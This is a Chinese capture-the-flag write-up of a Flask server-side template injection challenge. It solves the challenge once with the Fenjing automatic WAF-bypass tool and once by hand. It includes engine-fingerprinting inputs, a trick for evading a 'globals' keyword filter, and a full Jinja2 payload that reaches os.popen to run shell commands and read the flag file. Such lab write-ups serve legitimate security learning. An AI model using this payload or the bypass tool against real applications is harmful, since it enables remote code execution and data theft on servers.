两种方法:

1.工具法

进来看见flask到处飘,估计就是ssti

ctrl+U打开发现两行注释提示GET方式传递参数search

这种有参数的我先直接丢fengjing扫了一下,结果还真搞出来,这工具还是挺牛的,就是没参数的时候搞不了

fengjing安装:项目地址:

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF (github.com)

下载好后安装requirements.txt,先cd到项目目录下

pip install -r requirements.txt -i https://pypi.mirrors.ustc.edu.cn/simple/

python -m fenjing webui

进入web界面输入前三个参数,表单输入就是刚才的search参数

最后下滑点击开始分析

分析完后右边会提示你输入可以输入命令自动生成payload

最终查看flag命令

cat /flasklight/coomme_geeeett_youur_flek

2.手工ssti

先判断是什么模版引擎,jinja还是twig

下面是判断模版注入的方法

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinjia2 模块

返回7777777表示是 Jinjia2 模块

输入{{config}}查看配置发现提示flag就在当前目录下

经过尝试发现是过滤了globals导致500状态码,使用字典访问符号['__g''lobals__']来绕过.运算符

或者中间加个+号也可以['__glo'+'bals__']

最终payload:(popen里面可以改变命令自己看看目录)

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('head /flasklight/coomme_geeeett_youur_flek').read()")}}

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部